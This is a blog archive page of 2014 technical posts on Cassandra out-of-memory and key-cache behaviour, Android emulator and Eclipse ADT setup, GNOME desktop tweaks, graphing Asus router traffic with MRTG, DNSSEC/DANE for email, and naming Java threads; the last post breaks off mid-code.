Showing posts with label analysis. Show all posts
Showing posts with label analysis. Show all posts

Sunday, December 21, 2014

apache cassandra 1.0.8 out of memory error unable to create new native thread

If you are using apache cassandra 1.0.8 and having the exception such as below, you may want to further read. Today, we will investigate on what this error means and what can we do to correct this situation.
ERROR [Thread-273] 2012-14-10 16:33:18,328 AbstractCassandraDaemon.java (line 139) Fatal exception in thread Thread[Thread-273,5,main]
java.lang.OutOfMemoryError: unable to create new native thread
at java.lang.Thread.start0(Native Method)
at java.lang.Thread.start(Thread.java:640)
at java.util.concurrent.ThreadPoolExecutor.addIfUnderMaximumPoolSize(ThreadPoolExecutor.java:727)
at java.util.concurrent.ThreadPoolExecutor.execute(ThreadPoolExecutor.java:657)
at org.apache.cassandra.thrift.CustomTThreadPoolServer.serve(CustomTThreadPoolServer.java:104)
at org.apache.cassandra.thrift.CassandraDaemon$ThriftServer.run(CassandraDaemon.java:214)

This is not good, the application crashed with this error during operation. To illustrate this environment, it is running using oracle java 6 with apache cassandra 1.0.8. It has 12GB of java heap assigned with stack size 128k, max user processes 260000 and open files capped at 65536.

Investigate into the java stack trace, reveal that, this error is not thrown by java code but native code. Below is the trace path.

  1. https://github.com/apache/cassandra/blob/cassandra-0.8/src/java/org/apache/cassandra/thrift/CassandraDaemon.java#L214

  2. https://github.com/apache/cassandra/blob/cassandra-1.0.8/src/java/org/apache/cassandra/thrift/CustomTThreadPoolServer.java#L104

  3. ThreadPoolExecutor.java line 657
    cassandra_investigation_1

  4. ThreadPoolExecutor.java line 727
    cassandra_investigation_2

  5. Thread.java line 640
    cassandra_investigation_3


A little explanation before we delve even deeper. Number 3 to 5, is jdk dependent. Hence, if you are using openjdk, the line number may be different. As mentioned early, I'm using oracle jdk. Unfortunately, it is not available online for browsing but you can download the source from oracle site.

Because this is a native call, we will look into code that is not in Java. If the following code looks alien to you, it sure looks alien to me as it is probably written in c++. If you have also notice, this code is taken from openjdk and it is not found in the oracle jdk. Probably it is a closed source but we will not go there. Let's just focus where this error thrown from and why. It is taken from here and the explanation here.
JVM_ENTRY(void, JVM_StartThread(JNIEnv* env, jobject jthread))
JVMWrapper("JVM_StartThread");
JavaThread *native_thread = NULL;

// We cannot hold the Threads_lock when we throw an exception,
// due to rank ordering issues. Example: we might need to grab the
// Heap_lock while we construct the exception.
bool throw_illegal_thread_state = false;

// We must release the Threads_lock before we can post a jvmti event
// in Thread::start.
{
// Ensure that the C++ Thread and OSThread structures aren't freed before
// we operate.
MutexLocker mu(Threads_lock);

// Since JDK 5 the java.lang.Thread threadStatus is used to prevent
// re-starting an already started thread, so we should usually find
// that the JavaThread is null. However for a JNI attached thread
// there is a small window between the Thread object being created
// (with its JavaThread set) and the update to its threadStatus, so we
// have to check for this
if (java_lang_Thread::thread(JNIHandles::resolve_non_null(jthread)) != NULL) {
throw_illegal_thread_state = true;
} else {
// We could also check the stillborn flag to see if this thread was already stopped, but
// for historical reasons we let the thread detect that itself when it starts running

jlong size =
java_lang_Thread::stackSize(JNIHandles::resolve_non_null(jthread));
// Allocate the C++ Thread structure and create the native thread. The
// stack size retrieved from java is signed, but the constructor takes
// size_t (an unsigned type), so avoid passing negative values which would
// result in really large stacks.
size_t sz = size > 0 ? (size_t) size : 0;
native_thread = new JavaThread(&thread_entry, sz);

// At this point it may be possible that no osthread was created for the
// JavaThread due to lack of memory. Check for this situation and throw
// an exception if necessary. Eventually we may want to change this so
// that we only grab the lock if the thread was created successfully -
// then we can also do this check and throw the exception in the
// JavaThread constructor.
if (native_thread->osthread() != NULL) {
// Note: the current thread is not being used within "prepare".
native_thread->prepare(jthread);
}
}
}

if (throw_illegal_thread_state) {
THROW(vmSymbols::java_lang_IllegalThreadStateException());
}

assert(native_thread != NULL, "Starting null thread?");

if (native_thread->osthread() == NULL) {
// No one should hold a reference to the 'native_thread'.
delete native_thread;
if (JvmtiExport::should_post_resource_exhausted()) {
JvmtiExport::post_resource_exhausted(
JVMTI_RESOURCE_EXHAUSTED_OOM_ERROR | JVMTI_RESOURCE_EXHAUSTED_THREADS,
"unable to create new native thread");
}
THROW_MSG(vmSymbols::java_lang_OutOfMemoryError(),
"unable to create new native thread");
}

Thread::start(native_thread);

JVM_END

As I don't have knowledge in cpp, hence, there is no analysis into this snippet above, but if you understand what it does, I will be happy if you can give your analysis as a comment below of this article. It certainly looks to me that the operating system cannot create a thread at this point due to a few errors, JVMTI_RESOURCE_EXHAUSTED_OOM_ERROR and / or JVMTI_RESOURCE_EXHAUSTED_THREADS. Let's google to find out what is that supposed to mean. Below are some which is interesting.

To summarize the analysis from the links above.

  • stack is created when thread is created and when more threads are created, hence the total of stacks also increased as a result.

  • A Java Virtual Machine stack stores frames. A Java Virtual Machine stack is analogous to the stack of a conventional language such as C: it holds local variables and partial results, and plays a part in method invocation and return.

  • Java stack is not within of java heap, hence, even if you increase java heap to the cassandra via parameter -Xms or -Xmx, this error will happen again if the condition is met again in the future.

  • If Java Virtual Machine stacks can be dynamically expanded, and expansion is attempted but insufficient memory can be made available to effect the expansion, or if insufficient memory can be made available to create the initial Java Virtual Machine stack for a new thread, the Java Virtual Machine throws an OutOfMemoryError.


Until current analysis, it certainly looks to me that when cassandra instance trying to create a new thread, it was not able to. It was not able to because the underlying operating system cannot create the thread due to two errors. It actually looks like the operating system does not have sufficient memory to create the thread, hence increasing -Xms or -Xmx will not solve the problem. Note that the file descriptor set in this case is not met neither as most of the criterias pretty much infinite.

It's pretty interesting to note that, if such error is thrown, to solve the problem is to decrease the -Xss or even the heap -Xms and -Xmx. Although I don't understand the logic behind of such method used, perhaps you should try but I seriously doubt so. If cassandra node has high usage of heap, decreasing heap will only create another type of problem.

If you know or have encountered such problem before and has a good fix, please leave the comment below this article. To end this article, there is currently as of this writing, a discussion happen at cassandra mailing list.

Saturday, December 20, 2014

Speed up android emulator startup in eclipse

When exploring hello world android development app in eclipse, the emulator just painfully slow to even launch. To me, the speed matter because if it is slow, the test and development cycle will be affected and thus, the development experience will not be pleasant. So today, before we go into hello world article, we will first explore if it is possible to improve the speed of android emulator startup in eclipse.

I have google and found a few links, there are as of following.

To summarize the solution used to the links above, there are Intel Hardware Accelerated Execution Manager (HAXM), linux kvm or virtualbox, android virtual device (AVD) snapshot, increase device ram, GPU acceleration, disable antivirus ?!, 3rd party android emulator, using actual android device instead of emulator, etc.

Because every developer has different development environment and every sdk and improvement over time may render these method describe later in this article invalid. Thus, the speed gain in your environment when android emulator start may vary and thus create unnecessary confusion. Thus, you should always read on the links and find a solution that work best in your environment. The following steps improved my environment in such a way.

  1. Before it start need 10minutes and then even after waited 10minutes, then it crashed. With this, on my i3 intel cpu, with 8GB of ram, the speed increase in within less than 2minutes and response is emulator is manageable.

  2. The emulator start over time is persistence. There are situation when once the android virtual device is created, the second time it boot, the android screen in the emulator get gibberish and unclickable. So with my method describe later, this will not be a problem.


Before we go into the solution, let's understand what emulator is. Emulator according to wikipedia

In computing, an emulator is hardware or software or both that duplicates (or emulates) the functions of one computer system (the guest) in another computer system (the host), different from the first one, so that the emulated behavior closely resembles the behavior of the real system (the guest).

In android sense, this emulator actually emulate a smartphone environment including hardware instruction, from workstation cpu x86 to the android device which uses arm. Because of Android Emulator emulates a real ARM processor on top of an x86 processor, this create a lot of overhead. Connection of real device through usb via eclipse integration is not available for linux environment. Thus, for initial learning phase, a android emulator is a good start.

eclipse-android-sdk-manager

Launch Android Virtual Device Manager from eclipse.

eclipse-android-virtual-device-manager

create a new android virtual device, as seem below with this setting.

android-virtual-device-setting

As you can see, the target for the application is being currently latest at Android 5.0 - API Level 21. The important part now is to choose CPU/ABI to Intel Atom(x86_64). Of cause smartphone device mostly with arm cpu but as mentioned previously, we want emulator be a quick test environment.

If you notice, I have left Use Host GPU uncheck. When this is check with my environment, there is no speed up and when the android evironment started, the colour became gibberish and not clickable. Now start the device and experience the clicking in the environment.

Happy develop in android.

 

Friday, December 19, 2014

Setting up eclipse with Android development environment

Today, we will explore something different. Android is a very well known brand in the public now and can be found in devices such as smartphone, tablet, wearable like watch and glass, any end user device like tv or smart appliances. So we will take a look from programming point of view. This is a fresh start article and if you come from java development background and has zero knowledge on android development then this is an article for you. More on android development articles will come later.

To reduce the learning curve and to have a better learning and development experience in android, you should really setup android developer toolkit plugin in an IDE. If you have been develop Java for sometime now, IDE such as eclipse or netbeans should come in mind. Eclipse has always been my favourite IDE for java development and in this article, I will share on how to install ADT plugin in eclipse for android environment.

This article is based on this instruction. You should refer that for any changes or error encountered if you read this article in the future. As of this writing, I'm using eclipse luna for this ADT plugin installation. Let's start the installation.

  1. Launch eclipse and click Help then Install New Software... then click on Add button.

  2. We will add ADT plugin repository to this eclipse IDE. In the pop up window, add as following and then click on OK.
    Name: ADT Plugin
    Location: https://dl-ssl.google.com/android/eclipse/
    eclipse_add_repository_adt

  3. Wait a while for the update to pull in by eclipse and the in the Available Software dialog, select the checkbox next to Developer Tools and click on Next.
    eclipse_available_software

  4. In the next window, you'll see a list of the tools to be downloaded. Click Next.

  5. Read and accept the license agreements, then click Finish.
    If you get a security warning saying that the authenticity or validity of the software can't be established, click OK.

  6. When the installation completes, restart Eclipse.

  7. Once Eclipse restarts, you must specify the location of your Android SDK directory. Because this is a new installation, there is no android sdk installed and click on Open Preferences.
    eclipse_welcome_to_android_development eclipse_android_sdk

  8. In the "Welcome to Android Development" window that appears, select Install new SDK. Then wait until the installation is complete.
    eclipse_welcome_to_android_development_install_new_sdk
    eclipse_welcome_to_android_development_installing_new_sdk

  9. When sdk is installed, a new window popup requesting to install new build tool. Click on Open SDK Manager.
    eclipse_android_sdk_install_build-tools

  10. There are preselected build-tools and as of this moment, just accept the default preselected tools and click Install button. We can install more tools later.
    eclipse_android_sdk_managereclipse_android_sdk_manager_confirm_install_packages

  11. Wait until the installation is complete and it is done.


That's it, now start the first session for android hello world development.

Sunday, December 7, 2014

Gnome goodies: add hardware sensor in panel. add stock indicator in the panel.

Today we will add two more applets to the gnome panel. You might want to look into the past article about gnome applets that were configured before. Okay, let's start by installing an applet that will show hardware temperature.

There is a nice package, psensor and it can be install as easy as
$ sudo apt-get install psensor
$ psensor

So just launch the application from the terminal, then see the screenshot below.

psensor

On the left, I have configured three temperature to be plotted. Because hardware in different computer are different, so you can enable plotting for different hardware. On the right, it is the psensor preferences, and I have enabled checkbox for Launch on session startup and Hide window on startup.

Next, we will install a stock applet as a favor for a friend. Because in debian, this is not available and now we will download from ubuntu repository. Point your browser to https://launchpad.net/~ce3a/+archive/ubuntu/indicator-stocks/+packages and download latest version of indicator-stocks. As of this writing, I'm installing indicator-stocks_0.2.4-0ubuntu1_amd64
user@localhost:~/Desktop$ sudo dpkg -i indicator-stocks_0.2.4-0ubuntu1_amd64.deb 
Selecting previously unselected package indicator-stocks.
(Reading database ... 321688 files and directories currently installed.)
Preparing to unpack indicator-stocks_0.2.4-0ubuntu1_amd64.deb ...
Unpacking indicator-stocks (0.2.4-0ubuntu1) ...
dpkg: dependency problems prevent configuration of indicator-stocks:
indicator-stocks depends on libappindicator0.1-cil; however:
Package libappindicator0.1-cil is not installed.

dpkg: error processing package indicator-stocks (--install):
dependency problems - leaving unconfigured
Processing triggers for gnome-menus (3.13.3-2) ...
Processing triggers for mime-support (3.57) ...
Processing triggers for desktop-file-utils (0.22-1) ...
Processing triggers for hicolor-icon-theme (0.13-1) ...
Errors were encountered while processing:
indicator-stocks

As you can read above, there is a dependency problem during installing indicator-stocks. So just use apt-get install for the remaining package. It should be simple process to resolved that using apt. So it is finally installed, check the screenshot below. You can configured a few symbols, it is from finance.yahoo.com.

indicator-stocks

That's it, from the past and in this articles, I hope your desktop should present as much information as possible.

Saturday, December 6, 2014

Gnome goodies: common keyboard shortcut. Remembering state of num lock.

If you have been using linux and there is a key on your keyboard with windows logo, it is known as Super key. This super key will be widely used in gnome 3. Today, we will learn some of the commonly used keyboard shortcut. You can also find other keyboard shortcut in gnome-control-center keyboard shortcut.



































































Keyboard ShortcutDescription
Super+UpMaximize window
Super+DownUnmaximaze window
Super+Left ArrowFill half to the left side of the screen
Super+Right ArrowFill half to the right side of the screen
Super+click then moveMove window anywhere on screen
Super+mTo bring up a message tray at the bottom of the screen.
alt+tabswitch between applications
alt+`switch through window of current applications.
superbring up a new apperance known as activities overview
drag application to dashthis is to add an application which you used often to the dash so you can easily accessed.
drop application to gridremove application from dash by dragging from dash and then drop into the grid
ctrl+alt+up arrowswitch to the workspace above
type in a file windowTo quickly search for file in the file windows.
alt+PrintScntake a screenshot of the current window only.
shift+PrintScnselect a specific area of the screen.

Not sure why each time of operating system reboot, the state of num lock on keyboard get forgotten. This is really quite puzzling considering gnome has been evolve for so many cycle. But that's okay, we will learn to configure gnome so that it will remember the state of num lock between system boot. Let's launch dconf-editor and expand in the tree in such path. org -> gnome -> settings-daemon -> peripherals -> keyboard. Check remember-numlock-state and check the screenshot below.

dconf-editor-remember-nulock-state

With this article, I hope you navigate better in gnome-shell environment.

Friday, December 5, 2014

Poll statistics from Asus router RT-N14UH through http and plot in mrtg

If you have Asus router model RT-N14UHP, you should probably read on. This is a pretty decent router capable for a lot of feature including supporting qos and ipv6. It's pretty odd somehow this router does not come preinstall with net-snmp package. For your information, snmp allow a device to be poll for statistics collection purposes.

ASUS-RT-N14UHP

I have been requesting to poll statistics from the router using snmp from asus support some time around September 2014. The response I got is the development has taken this request however there is no guarantee when it would be made available. I have taken a deeper look into if the router support net-snmp. Google around and check if someone has similar problem and done it before unfortunately there is none as of this writing. There are a few come closer, this and this. The idea is to make the router by mounting an USB disk and then router will install ipkg (a package manager for the router). By using ipkg, you can install package net-snmp however, the package will be install on the mounted USB drive rather than the router itself. That's a pity if usb disk is unmounted, then thing will not work. Example of command below:
user@RT-N14UHP:/asusware# ipkg install net-snmp
Installing net-snmp (5.4.2.1-1) to /opt/...
Downloading http://ipkg.nslu2-linux.org/feeds/optware/oleg/cross/stable/net-snmp_5.4.2.1-1_mipsel.ipk
Configuring net-snmp
Successfully terminated.

user@RT-N14UHP:/asusware# app_set_enabled.sh net-snmp yes
Restarting the package...

Today, we will try differently. We will poll statistics from the router through http and then plot the graph using the well known software, mrtg. MRTG by default poll device for statistics using snmp. However, it also allow data collection using script, that's something very nifty! Let's start by installing this package in the client.
$ sudo apt-get install mrtg apache2

The package apache is for you to access the graph via browser. There should a cron running every five minute, /etc/cron.d/mrtg . So statistics will always be poll and graph will always be generate and update. Configuration for apache2 and where mrtg is accessible from web is left an exercises for you. (Hint : apache by default place in /var/www).

Create a script that will poll statistics from the router. Below is the script and you can download this bash script, routerStats.sh and place it in /bin/routerStats.sh

There are a few configuration you need to change. The obvious is the router IP. This router has IP 192.168.133.20, so change to your router IP. hwaddr is the hardware address of eth0 in your router. To get hwaddr from your router, you need to enable telnet from the router web graphic user interface and then login from command line. Then issue the command such as below.
user@RT-N14UHP:/tmp/home/root# ip addr show eth0
2: eth0: <BROADCAST,MULTICAST,UP,10000> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 40:40:40:40:40:40 brd ff:ff:ff:ff:ff:ff
    inet6 fe80::1234:1234:1234:1234/64 scope link 
       valid_lft forever preferred_lft forever

the value for field link/ether will be the value for hwaddr in the url. To get the value of http_id, issue the command such as below in the router terminal.
admin@RT-N14UHP:/www# nvram get http_id
TIDeeeeeeeeeeeeeeee

Then install firefox live http header plugin and then start it, when the browser is pointed to router url and successfully logged in, then a line such as below should be identified. Use the string after Basic and fill into the url.
Authorization: Basic YGG3333d3BjMTQ5PPP=

With all these changed, the script is good to go. Next, we will configure mrtg configuration file.
### Global Config Options

#  for Debian
WorkDir: /var/www/router

### Global Defaults

#  to get bits instead of bytes and graphs growing to the right
# Options[_]: growright, bits
Options[_]: growright

EnableIPv6: no

Target[router-to-inet_1]: `/bin/routerStats.sh`
MaxBytes[router-to-inet_1]: 700000
Title[router-to-inet_1]: Network traffic between router and internet
PageTop[router-to-inet_1]: <h1>Network traffic between router and internet</h1>

It's a pretty simple configuration file and you can place it in /etc/mrtg.conf. The one that need some explanation, probably is routerStats.sh. This is actually the script that generated the statistics from the router. The script is placed in /bin and you can place anywhere as long as mrtg has the permission to execute this file. Note that the script you amended previously is actually get used by mrtg here. For the parameter in the configuration file, you can find more explanation here.

Now in the terminal, executed this script,
user@localhost:~# env LANG=C /usr/bin/mrtg /etc/mrtg.cfg
2014-10-22 20:26:54, Rateup WARNING: /usr/bin/rateup could not read the primary log file for router-to-inet_1
2014-10-22 20:26:54, Rateup WARNING: /usr/bin/rateup The backup log file for router-to-inet_1 was invalid as well
2014-10-22 20:26:54, Rateup WARNING: /usr/bin/rateup Can't rename router-to-inet_1.log to router-to-inet_1.old updating log file
user@localhost:~# env LANG=C /usr/bin/mrtg /etc/mrtg.cfg
user@localhost:~#

Don't know why there is error, it is probably initialization but next command execution should finish without any error. Now check in web server, directory, by default in debian for mrtg, it is in
user@localhost:/var/www/router$ ls
mrtg-l.png  mrtg-r.png        router-to-inet_1.html  router-to-inet_1-month.png  router-to-inet_1-week.png
mrtg-m.png  router-to-inet_1-day.png  router-to-inet_1.log   router-to-inet_1.old  router-to-inet_1-year.png

A few files should have been generated. That's good. When you installed package mrtg, a cron should installed by default at /etc/cron.d/mrtg. Take a look at the following:
*/5 * * * * root if [ -x /usr/bin/mrtg ] && [ -r /etc/mrtg.cfg ] && [ -d "$(grep '^[[:space:]]*[^#]*[[:space:]]*WorkDir' /etc/mrtg.cfg | awk '{ print $NF }')" ]; then mkdir -p /var/log/mrtg ; env LANG=C /usr/bin/mrtg /etc/mrtg.cfg 2>&1 | tee -a /var/log/mrtg/mrtg.log ; fi

So every five minute, the statistics will get collected. If you do not have this, just make a cron file. That's it, now point your browser to the web server url, example for mine,  http://192.168.133.30/router/router-to-inet_1.html.

mrtg-asus-rt-n14uhp

I hope you find it useful for you too.

UPDATE : You can also find the source file here, https://github.com/jasonwee/asus-rt-n14uhp-mrtg

Sunday, November 23, 2014

Investigate into why key cache in apache cassandra 1.0.8 gets reduced

Today, we will investigate into apache cassandra 1.0.8 when and why it reduce configured key cache. If you run the command nodetool cfstats. One of the statistics would probably interest you. I paste the snippet below.
Key cache capacity: 200000
Key cache size: 200000
Key cache hit rate: 0.9655797101449275
Row cache: disabled

After cassandra instance has been running for sometime, and you start to notice that the key cache capacity has gone down.
Key cache capacity: 150000
Key cache size: 150000
Key cache hit rate: 0.962251615630851
Row cache: disabled

As seen above, the initial capacity for this column family has 20,000 total key for cache. Currently, all object (that is 20,000) occupied fully in the key cache assigned. The hit rate is 96% which is very good statistics. So after a while, what had happened and why was it reduce? Let's investigate into the log file.
 WARN [ScheduledTasks:1] 2014-02-02 00:46:46,384 AutoSavingCache.java (line 187) Reducing MyColumnFamily KeyCache capacity from 200000 to 150000 to reduce memory pressure

Apparently memory is not enough at this point of time and the key cache is reduced to free up more memory for the cassandra instance. Let's look at the cassandra yaml file if there is any description for the key cache.
# emergency pressure valve #2: the first time heap usage after a full
# (CMS) garbage collection is above this fraction of the max,
# Cassandra will reduce cache maximum _capacity_ to the given fraction
# of the current _size_. Should usually be set substantially above
# flush_largest_memtables_at, since that will have less long-term
# impact on the system.
#
# Set to 1.0 to disable. Setting this lower than
# CMSInitiatingOccupancyFraction is not likely to be useful.
reduce_cache_sizes_at: 0.85
reduce_cache_capacity_to: 0.6

There are two configurations that reduce the cache size. When memory heap usage at 85%, key cache is reduced to 60% of its initial value. So now we dive deeper into the code to see what happened. Let's read into class GCInspector.
double usage = (double) memoryUsed / memoryMax;

if (memoryUsed > DatabaseDescriptor.getReduceCacheSizesAt() * memoryMax && !cacheSizesReduced)
{
cacheSizesReduced = true;
logger.warn("Heap is " + usage + " full. You may need to reduce memtable and/or cache sizes. Cassandra is now reducing cache sizes to free up memory. Adjust reduce_cache_sizes_at threshold in cassandra.yaml if you don't want Cassandra to do this automatically");
StorageService.instance.reduceCacheSizes();
}

When memory used is greater than reduce_cache_sizes_at (configured in cassanra.yaml, value at 0.85) multiply maximum memory in the heap and cache has not been reduced before. For example, if jvm is assigned with 8GB of heap, so the if statement evaluation become valid under such arithmetic, memory usage greater than 6.8GB when cache size has not been reduced before.

When the condition become true, StorageService will start to reduce cache size. A simple for loop over all column families to reduce the cache size. As seen here, there are two caches are being reduced. The rowcache and the keycache. Because we did not enable row cache and also not a focus on this study, I'll leave as an exercise for you. The investigation continue on the keyCache.reduceCacheSize();. As the snippet of code below shown.
public void reduceCacheSize()
{
if (getCapacity() > 0)
{
int newCapacity = (int) (DatabaseDescriptor.getReduceCacheCapacityTo() * size());
logger.warn(String.format("Reducing %s %s capacity from %d to %s to reduce memory pressure",
cfName, cacheType, getCapacity(), newCapacity));
setCapacity(newCapacity);
}
}

So if the capacity is initially assigned to a value larger than 0, then a new capacity is set. The new capacity is such that, reduce_cache_capacity_to (default at cassandra yaml, 0.60) multiply with the current size of the cache. For example, if the cache is occupied at 20000 x 0.60, the new value will be the new cache capacity at 12000.

This wrap up the investigation. Final thought, because the memory consumption is exceed certain amount of threshold, this emergency pressure valve kicked in. To fix immediate, an increase heap for cassandra instance will solve, but the correct would probably reduce node load or increase node for the cluster. When cache capacity is reduced, expect read become slower too and in data storage perspective, speed and performance is everything and reduced cache is definitely an impact to the cluster.

Friday, November 21, 2014

Gnome goodies: How to sort directory and then file. How to enable weather in the gnome panel

Today we will take a look at two gnome3 applets. I used to have these settings back in gnome and gnome2 and I think this is a very nice goody that should remain in gnome3.

How to sort directory and then file

In gnome3, file and folders are mixed, that's if the folder is sort by modification dates. See example screenshot below.

folders_files_mixed

Well, for personal preference would be, folders are group first and then with normal files. See example screenshot below.

folders_then_files

In order to achieve this behaviour, gnome configuration need to be alter. Launch dconf-editor in the command line and navigate in such a fashion. Go to org -> gnome -> nautilus -> preferences . Then check sort-directories-first. See screenshot below. Easy :)

dconf_editor-sort-directories-first

 

How to enable weather in the gnome panel

During gnome2, it is as easy as adding a location and in the drop down of the date/time applet. See screenshot below.

timezone_world_map

However, thing get changed in gnome3. Date/time applet no longer showing weather information. There is an alternative, gnome-shell-extension-weather package add weather information to the gnome panel. See screenshot below.

gnome-shell-extension-openweather

To install this extension, it is as easy as apt-get install gnome-shell-extension-weather

To enable gnome-shell-extension-weather in the gnome panel, you need to enable it. To enable, launch gnome-shell-extension-prefs from the command line and then search for OpenWeather and flip the switch to on position. See screenshot below.

gnome-shell-extension-prefs

Now the weather information should shown in the gnome panel! Start adding more places of interest in the applet! :)

To end this article, try to add places of interest in the weather applet :) I will leave this as an exercise for you.

Saturday, November 15, 2014

Implementing DNSSEC and DANE for email - Step by step

Note, this article is written and contributed by a good friend gryphius, so all credit goes to him. I'm just copy and paste his awesome work here. :-)

After various breaches at the certificate authorities it has become clear that we need a way to authenticate a server certificate without the need to trust a third party. “DNS-based Authentication of Named Entities“ (DANE) makes this possible by publishing the certificate in the DNS. Find more information about DANE here.

In this tutorial we show an example implementation of DANE for email delivery.

What you need

  • a DNSSEC capable nameserver (in this example: powerdns)
  • a DNSSEC capable registrar  (in this example: gandi.net)
  • a mail server with TLS Support (in this example: postfix )
  • to test the secured email delivery: a second mailserver with DANE support ( postfix >=2.11, DNSSEC capable resolver )
We start off with a postfix server already configured to accept mail for our domain, but no TLS support so far. Let’s add this now by generating a self-signed certificate:
in this state, a sending server can encrypt the transmission, but it can not verify the self-signed server certificate, so it  will treat the TLS connection as anonymous:
postfix/smtp[13330]: Anonymous TLS connection established to mail.example.com[...]:25: TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits)
In order to enable DANE support, our domain’s DNS zone must be secured with DNSSEC. Our example domain is hosted on a powerdns authoritative server securing a zone on a current powerdns is pretty easy:

The key from the last command must be copied to the registrar. At gandi.net the form to add a DNSSEC key looks like this:

dnssec-gandinet

Once the key is added and synchronized on the registry’s DNS servers, you can test DNSSEC funconality at http://dnssec-debugger.verisignlabs.com/

Now, back on the mailserver hosting our domain we have to create a hash of the SSL-certificate:

Using this value  we can add the DANE TLSA record for our mailserver in the DNS zone:

In powerdns, add a record:
Name_25._tcp.mail.example.com (replace mail.example.com with your real mx hostname)
TypeTLSA
Content3 0 1 02059728e52f9a58a235584e1ed70bd2b51a44024452ec2ba0166e8fb1d1d32b

the “3 0 1” means: “we took a full domain-issued certificate, and created a sha256 hash of it”. For other possible values see RFC6698 section 7.2 – 7.4.

Now we can test the new DANE TLSA records at https://www.tlsa.info

And finally, let’s test it from another postfix box. For this to work, the sending server must use a DNSSEC resolver (for example unbound) and postfix >=2.11 with DANE enabled:

and voilà, our connection is now verified even though we’re using a self-signed certificate:

postfix/smtp[17787]: Verified TLS connection established to mail.example.com[...]:25: TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)

References:

Sunday, November 9, 2014

gnome-clocks alternative to gnome2 world timezone map

During gnome2 time, I like the world map where it show the earth timezone information. Take a look at the below screenshot. It shown the part of earth on day and part of earth on night. Then you can see the countries weather information like temperature, wind speed, sunrise and sunset.

timezone_world_map

In gnome3, however, all these information are lost. I don't know why upgrade to gnome3, it became a detrimental step. A lot of useful information applets get lost. Not only a lot of useful applets got lost, the window animation constantly keep the cpu busy and application response sometime get slow. Something to ponder if I should choose different window manager.

Anyway, in the meantime, let's take a look at alternative to gnome2 world timezone country information. I google and found out gnome-clocks.

Simple GNOME app with stopwatch, timer, and world clock support GNOME Clocks is a simple application to show the time and date in multiple locations and set alarms or timers. A stopwatch is also included.
user@localhost:~$ sudo apt-get install gnome-clocks
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following package was automatically installed and is no longer required:
linux-image-amd64
Use 'apt-get autoremove' to remove it.
The following NEW packages will be installed:
gnome-clocks
0 upgraded, 1 newly installed, 0 to remove and 691 not upgraded.
Need to get 326 kB of archives.
After this operation, 1,193 kB of additional disk space will be used.
Get:1 http://cdn.debian.net/debian/ unstable/main gnome-clocks amd64 3.14.0-1 [326 kB]
Fetched 326 kB in 4s (66.8 kB/s)
Selecting previously unselected package gnome-clocks.
(Reading database ... 320953 files and directories currently installed.)
Preparing to unpack .../gnome-clocks_3.14.0-1_amd64.deb ...
Unpacking gnome-clocks (3.14.0-1) ...
Processing triggers for libglib2.0-0:i386 (2.42.0-2) ...
Processing triggers for libglib2.0-0:amd64 (2.42.0-2) ...
Processing triggers for hicolor-icon-theme (0.13-1) ...
Processing triggers for gnome-menus (3.13.3-2) ...
Processing triggers for mime-support (3.57) ...
Processing triggers for desktop-file-utils (0.22-1) ...
Setting up gnome-clocks (3.14.0-1) ...

So all goods, let's launch it. You can either launch gnome-clocks using command line or you can launch it from date/time panel. See screenshot below and click on Open Clocks.

gnome-clock

As seen below, I have configure a few countries. How to add time for a country is left as an exercise for you and I promise it will not that difficult ;). Unfortunately it does not show information other that just clock. It was a pity anyway. Anyway, better than none until sometime generous enough to develop additional information like weather and graphical earth day and night.

gnome-clock-main-window

That's it people, I hope you get some nice replacement when you transition into gnome3 environment.

Friday, November 7, 2014

How to set java thread name, thread pool name, get stack dump and heap dump

If you have been developing java application and one of the exception could be shown in the log, "java.lang.OutOfMemoryError: unable to create new native thread". This is what we are going to learn today. We will learn how to set thread a name, set a thread pool name, get the stack dump and get java heap dump and so we know why the exception aforementioned is thrown. This is in response to doing exercises after read the article http://code.nomad-labs.com/2012/12/20/some-tips-on-java-lang-outofmemoryerror-unable-to-create-new-native-thread/

I will divide these exercises into sub topics and we will learn one by one. We will start with simple exercise first.

How to name a thread?
To set a name for a thread, you will need to call method setName(), then show the currently running thread using Thread.currentThread().getName(). See example below.
public class Minion implements Runnable {

private String name = null;

public Minion(String name) {
this.name = name;
}

@Override
public void run() {
Thread.currentThread().setName(name);
System.out.printf("minion %s eating banana", Thread.currentThread().getName());
}

}

Another modified version as below. Note that we do not set thread name here, we set it in the class ThreadFactory. Read on to find out why later in this article.
import java.util.Random;


public class Minion implements Runnable {

private static String[] fruits = {"apple", "banana"};

public Minion() {

}

@Override
public void run() {
try {
// banana or apple
int idx = new Random().nextInt(fruits.length);
System.out.printf("minion %s eating %s %n", Thread.currentThread().getName(), fruits[idx]);
Thread.sleep((idx * 1000) + 10000);
StackTraceElement[] ste =Thread.currentThread().getStackTrace();

System.out.printf("minion %s done eat %s %n", Thread.currentThread().getName(), fruits[idx]);
} catch (InterruptedException e) {
e.printStackTrace();
}

}

}

You can pass the task in the constructor as a parameter but for the sake of simplicity, I hard coded task within this worker thread, two fruits; apple and banana. Longer thread sleep because later in this article, we will using this class for getting heap dump and thread dump.

How to name the thread pool?

To change name of a thread pool, you will need to implement ThreadFactory and then override namePrefix in the constructor. There are some other libraries which is easier and do that for you but we will not look in other libraries but only java native libraries. Let's do the work, see example below.
import java.util.concurrent.ThreadFactory;
import java.util.concurrent.atomic.AtomicInteger;


public class GruThreadFactory implements ThreadFactory {

static final AtomicInteger poolNumber = new AtomicInteger(1);
final ThreadGroup group;
final AtomicInteger threadNumber = new AtomicInteger(1);
final String namePrefix;

public GruThreadFactory() {
SecurityManager s = System.getSecurityManager();
group = (s != null) ? s.getThreadGroup() : Thread.currentThread().getThreadGroup();
namePrefix = "GruPool-" + poolNumber.getAndIncrement() + "-thread-";
}

@Override
public Thread newThread(Runnable r) {
final Thread t = new Thread(group, r, namePrefix + threadNumber.getAndIncrement(), 0);
if (t.isDaemon())
t.setDaemon(false);
if (t.getPriority() != Thread.NORM_PRIORITY)
t.setPriority(Thread.NORM_PRIORITY);
return t;
}

}

and the modified version. As you can see, minions are passed into GruThreadFactory constructor and then each time a newThread() is called, the thread name is named as random to the String array minions.
import java.util.Random;
import java.util.concurrent.ThreadFactory;
import java.util.concurrent.atomic.AtomicInteger;


public class GruThreadFactory implements ThreadFactory {

static final AtomicInteger poolNumber = new AtomicInteger(1);
final ThreadGroup group;
